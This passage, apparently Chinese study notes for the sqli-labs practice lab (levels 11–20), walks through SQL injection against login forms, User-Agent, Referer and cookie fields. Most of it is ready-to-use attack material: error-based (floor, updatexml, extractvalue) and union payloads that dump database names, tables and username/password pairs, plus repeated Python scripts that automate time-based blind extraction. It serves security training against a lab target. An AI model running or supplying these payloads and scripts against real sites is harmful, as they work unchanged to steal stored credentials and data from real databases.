查数据库版本:1' or (select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
当前用户:1' or (select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
查库:1' or (select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
查所有库:1' or (select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,schema_name,0x7e) from information_schema.schemata limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
查表:1' or (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
查列:1' or (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
查字段:1' or (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
5.时间盲注
import requests
import time
import datetime
url = "http://192.168.0.192/sqli-labs-master/Less-11/"
result = ""
payload1 = "1' or if((ascii(substr((select database()),{0},1))={1}),sleep(2),1)#"
payload2 = "1' or if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{0},1))={1}),sleep(2),1)#"
payload3 = "1' or if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),{0},1))={1}),sleep(2),1)#"
payload4 = "1' or if((ascii(substr((select group_concat(username,password) from security.users),{0},1))={1}),sleep(2),1)#"
payloads = [payload1, payload2, payload3, payload4]
for template_index, base_payload in enumerate(payloads):
current_result = ""
print(f"\n正在执行payload{template_index+1}:")
for pos in range(1, 100):
found_char = None
for c in range(33, 127):
payload = base_payload.format(pos, c)
print(payload)
data = {"uname": payload, "passwd": 1}
start_time = datetime.datetime.now()
requests.post(url, data=data)
end_time = datetime.datetime.now()
if (end_time - start_time).seconds >= 2:
found_char = chr(c)
break
if not found_char:
break
if found_char == ')':
break
current_result += found_char
print(f"当前结果: {current_result}")
result += f"\n payload{template_index+1} 结果:\n{current_result}"
print("\n最终结果:")
print(result)
less-12
拼接方式:username=(“x”)
# POST 方式接受变量
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
# 使用单引号拼接 SQL
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
if true:
输出查询的信息
else:
print_r(mysql_error());
和 Less-11 的利用方式一样,只是 SQL 拼接方式不同。
less-13
拼接方式:username=(‘x’)
# POST 方式接受变量
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
# 使用单引号和括号来拼接 SQL
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
if true:
并没有输出啥信息
else:
print_r(mysql_error());
因为没有输出查询后的信息的原因,所以相对于 Less-11 和 Less-12 来说就少了 联合查询的注入方式。
updatexml报错注入
查库:1') and updatexml(1,concat(version(),database()),1)#
查表:1') and updatexml(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31)),3)#
查列:1)' and updatexml(1,concat('~',substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31)),3)#
查字段:1') and updatexml(1,concat('~',substr((select group_concat(username,",",password) from security.users),1,31)),3)#
extractvalue报错注入
查库:1') and extractvalue(1,concat('~',substr((select group_concat(schema_name) from information_schema.schemata),1,31)))#
查表:1') and extractvalue(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31)))#
查列:1') and extractvalue(1,concat('~',substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31)))#
查字段:1') and extractvalue(1,concat('~',substr((select group_concat(username,",",password) from security.users),1,31)))#
floor报错注入
查数据库版本:1') or (select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
当前用户:1') or (select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
查库:1') or (select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
查所有库:1') or (select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,schema_name,0x7e) from information_schema.schemata limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
查表:1') or (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
查列:1') or (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
查字段:1') or (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
less-14
拼接方式:username=”x”
# POST 方式接受变量
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
if true:
并没有输出啥信息
else:
print_r(mysql_error());
和 Less-13 一样无回显,拼接方式不一样,换对应的闭合方式即可进行注入。
less-15
拼接方式:username=’x’
# POST 方式接受变量
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
if true:
并没有输出啥信息
else:
//print_r(mysql_error());
源码中注释掉了 MySQL 的报错日志,所以这里就不可以进行报错注入,联合注入,只能使用布尔盲注或者延时盲注。
import requests
import time
import datetime
url = "http://192.168.0.192/sqli-labs-master/Less-15/"
result = ""
payload1 = "1' or if((ascii(substr((select database()),{0},1))={1}),sleep(2),1)#"
payload2 = "1' or if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{0},1))={1}),sleep(2),1)#"
payload3 = "1' or if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),{0},1))={1}),sleep(2),1)#"
payload4 = "1' or if((ascii(substr((select group_concat(username,password) from security.users),{0},1))={1}),sleep(2),1)#"
payloads = [payload1, payload2, payload3, payload4]
for template_index, base_payload in enumerate(payloads):
current_result = ""
print(f"\n正在执行payload{template_index+1}:")
for pos in range(1, 100):
found_char = None
for c in range(33, 127):
payload = base_payload.format(pos, c)
print(payload)
data = {"uname": payload, "passwd": 1}
start_time = datetime.datetime.now()
requests.post(url, data=data)
end_time = datetime.datetime.now()
if (end_time - start_time).seconds >= 2:
found_char = chr(c)
break
if not found_char:
break
if found_char == ')':
break
current_result += found_char
print(f"当前结果: {current_result}")
result += f"\n payload{template_index+1} 结果:\n{current_result}"
print("\n最终结果:")
print(result)
less-16
拼接方式:username=”x”
# POST 方式接受变量
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
if true:
并没有输出啥信息
else:
//print_r(mysql_error());
和15一样,注释掉了 MySQL 的报错日志,所以这里就不可以进行报错注入,联合注入,只能使用布尔盲注或者延时盲注。
import requests
import time
import datetime
url = "http://192.168.0.192/sqli-labs-master/Less-16/"
result = ""
payload1 = "1' or if((ascii(substr((select database()),{0},1))={1}),sleep(2),1)#"
payload2 = "1' or if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{0},1))={1}),sleep(2),1)#"
payload3 = "1' or if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),{0},1))={1}),sleep(2),1)#"
payload4 = "1' or if((ascii(substr((select group_concat(username,password) from security.users),{0},1))={1}),sleep(2),1)#"
payloads = [payload1, payload2, payload3, payload4]
for template_index, base_payload in enumerate(payloads):
current_result = ""
print(f"\n正在执行payload{template_index+1}:")
for pos in range(1, 100):
found_char = None
for c in range(33, 127):
payload = base_payload.format(pos, c)
print(payload)
data = {"uname": payload, "passwd": 1}
start_time = datetime.datetime.now()
requests.post(url, data=data)
end_time = datetime.datetime.now()
if (end_time - start_time).seconds >= 2:
found_char = chr(c)
break
if not found_char:
break
if found_char == ')':
break
current_result += found_char
print(f"当前结果: {current_result}")
result += f"\n payload{template_index+1} 结果:\n{current_result}"
print("\n最终结果:")
print(result)
less-17
函数check_input()的作用就是检查用户输入,并将用户输入安全化,其中的mysql_real_escape_string()会在\x00, \n, \r, \, ', " and \x1a这些字符前加入反斜线进行转义,防止注入。
new password可以注入,但有username的限制。
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
# uname 参数被过滤了
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
# SELECT 语句只获取了 uname 参数 但是被过滤了 没戏
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
if select 结果正确:
# 更新语句 使用单引号拼接 passwd
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
if mysql 报错:
print_r(mysql_error());
User Name:admin
1.floor注入
查数据库版本:1' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
当前用户:1' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
查库:1' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
查所有库:1' and (select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,schema_name,0x7e) from information_schema.schemata limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
查表:1' and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
查列:1' and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
查字段:1' and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
2.updatexml注入
查库:1' and updatexml(1,concat(version(),database()),1)#
查表:1' and updatexml(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31)),3)#
查列:1' and updatexml(1,concat('~',substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31)),3)#
查字段:
1' and updatexml(1,concat('~',substr((select group_concat(username,",",password) from security.users),1,31)),3)#
报错“You can't specify target table 'users' for update in FROM clause
”在 MySQL 中,不能在同一个sql语句中,先select同一个表的某些值,然后再update这个表。但 select 的结果可以再通过一个中间表 select 多一次,就可以避免这个错误。(select * from (原始子查询) as tmp)
1' and updatexml(1,concat('~',substr((select * from (select group_concat(username,",",password) from security.users) as a),1,31)),3)#
3.extractvalue报错注入
查库:1' and extractvalue(1,concat('~',substr((select group_concat(schema_name) from information_schema.schemata),1,31)))#
查表:1' and extractvalue(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31)))#
查列:1' and extractvalue(1,concat('~',substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31)))#
查字段:1' and extractvalue(1,concat('~',substr((select * from (select group_concat(username,",",password) from security.users) as tmp),1,31)))#
less-18 User-Agent
用户在登陆成功后才会显示用户的user agent,并且将uagent, ip_address, username插入到了uagents表中。这个代码漏洞点出在了 insert 语句,这里没有对 uagent 和 ip_address 进行过滤,可以从uagent下手。本来ip_address也可以成功的,但是源码中显示被注释掉了,回显的只能是用户的user agent,并且输出了 mysql 的报错信息,所以本关支持 报错注入、布尔盲注和延时盲注。
# 获取请求的 uagent 和 ip 地址
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
#if 输入了uname 和 passwd:
if(isset($_POST['uname']) && isset($_POST['passwd'])) {
# 对这两个参数进行过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
if SQL语句有返回结果:
# 执行 insert 语句,向uagents表中插入数据 这里 uagent 和 ip_address 通过单引号拼接 并且 没有过滤
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
//echo 'Your IP ADDRESS is: ' .$IP;
#输出 $uagent;
echo 'Your User Agent is: ' .$uagent;
print_r(mysql_error());
else:
print_r(mysql_error());
insert语句
这是一个向数据库表插入数据的SQL语句
$insert = "INSERT INTO `security`.`uagents` -- 在security数据库的uagents表中插入数据
(`uagent`, `ip_address`, `username`) -- 指定要插入的列名:用户代理、IP地址、用户名
VALUES -- 指定要插入的值
('$uagent', '$IP', $uname)"; -- 对应的值:
-- 1. $uagent 变量值(用户代理字符串,通常来自浏览器)
-- 2. $IP 变量值(IP地址)
-- 3. $uname 变量值(用户名)
1.ExtractValue报错注入
查库:',extractvalue(1,concat(0x23,database())),1)#
' or extractvalue(1,concat(0x7e,(select database()), 0x7e)) or '
遍历数据库名称:',extractvalue(1,concat(0x23,(select schema_name from information_schema.schemata limit 0,1))),1)#
' or extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e))or '
查表:',extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security'))),1)#
' or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1), 0x7e)) or '
查列:',extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),1)#
' or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1), 0x7e)) or'
查字段:',extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),1,32))),1)#
查字段:',extractvalue(1,concat(0x23,mid((select group_concat(concat(username, ':', password)) from security.users),1,32))),1)# ' or extractvalue(1, concat(0x7e, (select concat(username, ':', password) from users limit 0,1), 0x7e)) or '
2.updatexml报错注入
查库:' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
遍历数据库名称:' or updatexml(1, concat(0x7e, (select schema_name from information_schema.schemata limit 0,1), 0x7e),1) or '
查表:' or updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1), 0x7e), 1) or '
查列:' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1), 0x7e),1) or'
查字段:' or updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1),0x7e),1) or'
3.floor报错注入
查库:' or (select 1 from (select count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a) or '
遍历数据库名称:
查表:' or (select 1 from (select count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a) or '
查列:' or (select 1 from (select count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a) or '
查字段:' or (select 1 from (select count(*),concat(0x7e,(select concat(username,':',password) from users limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a) or '
less-19 referer
和less18一样,但注入点在referer
# 获取请求的 referer 和 ip 地址
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];
#if 输入了uname 和 passwd:
if(isset($_POST['uname']) && isset($_POST['passwd']))
# uname 和 passwd 参数均被过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
if SQL语句有返回结果:
# 单引号拼接后直接带入 insert 语句
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
输出 $_SERVER['HTTP_REFERER']
print_r(mysql_error());
else:
print_r(mysql_error());
1.ExtractValue报错注入
查库:' or extractvalue(1,concat(0x7e,(select database()), 0x7e)) or '
遍历数据库名称:' or extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e))or '
查表:' or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1), 0x7e)) or '
查列:' or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1), 0x7e)) or'
查字段:' or extractvalue(1, concat(0x7e, (select concat(username, ':', password) from users limit 0,1), 0x7e)) or '
2.updatexml报错注入
查库:' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
遍历数据库名称:' or updatexml(1, concat(0x7e, (select schema_name from information_schema.schemata limit 0,1), 0x7e),1) or '
查表:' or updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1), 0x7e), 1) or '
查列:' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1), 0x7e),1) or'
查字段:' or updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1),0x7e),1) or'
3.floor报错注入
查库:' or (select 1 from (select count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a) or '
遍历数据库名称:
查表:' or (select 1 from (select count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a) or '
查列:' or (select 1 from (select count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a) or '
查字段:' or (select 1 from (select count(*),concat(0x7e,(select concat(username,':',password) from users limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a) or '
less-20 cookie
<?php
#if cookie 中不存在 uname 参数:
if(!isset($_COOKIE['uname']))
输出了一堆无用的信息
#if 提交了 uname 和 passwd:
if(isset($_POST['uname']) && isset($_POST['passwd']))
# 进行过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$cookee = $row1['username'];
if 有查询结果:
# 将 uname 的值设置给 cookie 里面的 uname 参数
setcookie('uname', $cookee, time()+3600);
else:
print_r(mysql_error());
else:
#if POST 数据里面没有 submit 参数:
if(!isset($_POST['submit']))
$cookee = $_COOKIE['uname'];
# 直接将 cookee 通过单引号拼接到 SQL 语句中,闭合方式是单引号
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
if 查询无结果:
输出 mysql_error()
if 有结果:
输出查询的信息
else:
# 将 uname 的值设置给 cookie 里面的 uname 参数
setcookie('uname', $row1['username'], time()-3600);
?>
1.联合注入
查库:1' union select 1,2,database()#
遍历数据库名称:1' union select 1,2,group_concat(schema_name) from information_schema.schemata#
查表:1' union select 1,2,group_concat(table_name) from information_schema.tables WHERE table_schema='security'#
查列:1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
查字段:1' union select 1,2,(select group_concat(username,":",password separator 0x3c62723e)from users)#
2.ExtractValue报错注入
查库:1' and extractvalue(1,concat(0x7e,(select database()), 0x7e))#
遍历数据库名称:1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e))#
查表:1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1), 0x7e))#
查列:1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1), 0x7e))#
查字段:1' and extractvalue(1, concat(0x7e, (select concat(username, ':', password) from users limit 0,1), 0x7e)) #
3.updatexml报错注入
查库:1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
遍历数据库名称:1' and updatexml(1, concat(0x7e, (select schema_name from information_schema.schemata limit 0,1), 0x7e),1)#
查表:1' and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1), 0x7e), 1)#
查列:1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1), 0x7e),1)#
查字段:1' and updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1),0x7e),1) #
4.floor报错注入
查库:1' or (select 1 from (select count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a)#
遍历数据库名称:
查表:1' or (select 1 from (select count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a)#
查列:1' or (select 1 from (select count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a)#
查字段:1' or (select 1 from (select count(*),concat(0x7e,(select concat(username,':',password) from users limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a)#
/image-20251122154607604.png)
/image-20251122154703783.png)
/image-20251122154731789.png)
/image-20251122154927855.png)
/image-20251122155058446.png)
/image-20251122155218643.png)
/image-20251122155235246.png)
/image-20251122155310437.png)
/image-20251122155326733.png)
/image-20251122155343163.png)
/image-20251122155422496.png)
/image-20251122155439249.png)
/image-20251122155454632.png)
/image-20251122155520208.png)
/image-20251122155541772.png)
/image-20251122155601035.png)
/image-20251122155615118.png)
/image-20251122155729722.png)
/image-20251122155747685.png)
/image-20251122155800347.png)
/image-20251122155815039.png)
/image-20251122155832786.png)
/image-20251122155848973.png)
/image-20251122155906638.png)
/image-20251122155950592.png)
/image-20251122160015333.png)
/image-20251122160041908.png)
/image-20251122160058852.png)
/image-20251122160113975.png)
/image-20251122160132328.png)
/image-20251122160157745.png)
/image-20251122160215550.png)
/image-20251122160252579.png)
/image-20251122160508124.png)
/image-20251122161138625.png)
/image-20251122161156379.png)
/image-20251122161538768.png)
/image-20251122161618717.png)
/image-20251122161652830.png)
/image-20251122161807304.png)
/image-20251122161822243.png)
/image-20251122161848213.png)
/image-20251122162750646.png)
/image-20251122162813183.png)
/image-20251122162834249.png)
/image-20251122162857982.png)
/image-20251122165146355.png)
/image-20251122165207935.png)
/image-20251122165634686.png)
/image-20251122165303334.png)
/image-20251122170014869.png)
/image-20251122170048159.png)
/image-20251122170236834.png)
/image-20251122170316902.png)
/image-20251122170422224.png)
/image-20251122193313135.png)
/image-20251122195008635.png)
/image-20251122195141448.png)
/image-20251122195159663.png)
/image-20251122195218825.png)
/image-20251122195255869.png)
/image-20251122210618069.png)
/image-20251122214608638.png)
/image-20251122214633814.png)
/image-20251122214656609.png)
/image-20251122215227775.png)
/image-20251122215251323.png)
/image-20251122215336776.png)
/image-20251122220915597.png)
/image-20251122220940858.png)
/image-20251122221002555.png)
/image-20251122221022065.png)